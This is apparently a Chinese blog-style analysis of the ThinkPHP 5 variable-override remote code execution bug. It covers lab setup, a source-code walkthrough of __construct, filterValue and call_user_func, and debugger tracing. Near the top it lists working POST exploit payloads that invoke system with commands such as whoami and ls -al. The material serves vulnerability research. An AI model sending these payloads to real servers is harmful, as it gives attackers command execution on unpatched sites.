ThinkPHP5 变量覆盖导致的RCE

漏洞存在版本,分为两大版本:

  • ThinkPHP 5.0-5.0.24
  • ThinkPHP 5.1.0-5.1.30
## ThinkPHP <= 5.0.13
POST /?s=index/index
s=whoami&_method=__construct&method=&filter[]=system

## ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug
POST /
_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al

## ThinkPHP <= 5.0.23 需要存在xxx的method路由,例如captcha
POST /?s=xxx HTTP/1.1
_method=__construct&filter[]=system&method=get&get[]=ls+-al
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

环境搭建

composer create-project topthink/think=5.0.23 thinkphp5.0.23

修改composer.json

"require": {
    "php": ">=5.4.0",
    "topthink/framework": "5.0.23"
},

执行composer update

依旧是宝塔跑

开启app_debug

payload

_method=__construct&method=get&filter[]=system&get[]=whoami

image-20240914171954326

漏洞分析

首先在官方发布的 5.0.24 版本更新说明中,发现其中提到该版本包含了一个安全更新。

image-20240914172257706

最重要的应该是这里,对method进行了白名单的验证

image-20240914172536404

来尝试还原一下漏洞,核心点就是这两句

$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{$this->method}($_POST);

第一句是读取post数组里的_method,然后当作方法名进行调用,第二句直接把post数组当作这个方法的参数,那么我们可以调用这个类里面的任意方法了

image-20240914173310476

这个漏洞用的是构造方法

protected function __construct($options = [])
    {
        foreach ($options as $name => $item) {
            if (property_exists($this, $name)) {
                $this->$name = $item;
            }
        }
        if (is_null($this->filter)) {
            $this->filter = Config::get('default_filter');
        }

        // 保存 php://input
        $this->input = file_get_contents('php://input');
    }

foreach遍历输入的数组,然后覆盖类里面的属性值

这个方法也是一眼就看到了,实际上后面利用的就是这个

image-20240914174144149

如果框架在配置文件中开启了 debug 模式( 'app_debug'=> true ),程序会调用 Request 类的 param 方法。这个方法我们需要特别关注了,因为 Request 类中的 param、route、get、post、put、delete、patch、request、session、server、env、cookie、input 方法均调用了 filterValue 方法,而该方法中就存在可利用的 call_user_func 函数。

image-20240914174600802

而这个 param 方法就调用了我们上面说的method方法,而他也会调用server方法

image-20240914180259648

server方法里调用了input方法

image-20240914180416447

input方法里的三个参数都会传递给filterValue

这个 $this->server 的值,我们可以通过先前 Request 类的 __construct 方法来覆盖赋值。也就是说,可控数据作为 $data 传入 input 方法,然后 $data 会被 filterValue 方法使用 $filter 过滤器处理。其中 $filter 的值部分来自 $this->filter ,又是可以通过先前 Request 类的 __construct 方法来覆盖赋值。

image-20240914180540218

run 方法中,会执行一个 exec 方法,当该方法中的 $dispatch[’type’] 等于 controller 或者 method 时,又会调用 Request 类的 param 方法

image-20240914181214004

现在我们还要解决一个问题,就是如何让 $dispatch[’type’] 等于 controller 或者 method 。通过跟踪代码,我们发现 $dispatch[’type’] 来源于 parseRule 方法中的 $result 变量,而 $result 变量又与 $route 变量有关系。这个 $route 变量取决于程序中定义的路由地址方式。

image-20240914181441673

ThinkPHP5 中支持 5种 路由地址方式定义:

定义方式 定义格式
方式1:路由到模块/控制器 ‘[模块/控制器/操作]?额外参数1=值1&额外参数2=值2…’
方式2:路由到重定向地址 ‘外部地址’(默认301重定向) 或者 [‘外部地址’,‘重定向代码’]
方式3:路由到控制器的方法 ‘@[模块/控制器/]操作’
方式4:路由到类的方法 ‘\完整的命名空间类::静态方法’ 或者 ‘\完整的命名空间类@动态方法’
方式5:路由到闭包函数 闭包函数定义(支持参数传入)

而在 ThinkPHP5 完整版中,定义了验证码类的路由地址。程序在初始化时,会通过自动类加载机制,将 vendor 目录下的文件加载,这样在 GET 方式中便多了这一条路由。我们便可以利用这一路由地址,使得 $dispatch[’type’] 等于 method ,从而完成 远程代码执行 漏洞。

动态调试

粗略的跟一下流程,不详细去跟每个参数的变化了

断点打在method

image-20240914184650690

往前看是怎么调用的

APP 的run方法调用到routeCheck

image-20240914184718358

再调用到Route::check

image-20240914184802948

调用到method

image-20240914184838058

image-20240914184850027

进入构造函数进行变量覆盖

image-20240914184922280

回到APP,调用param

image-20240914185405450

调用method(这是第二次了)

image-20240914185440949

调用server

image-20240914185505661

调用input

image-20240914185522881

调用filterValue,基本就结束了

image-20240914185543351

image-20240914185614446

0%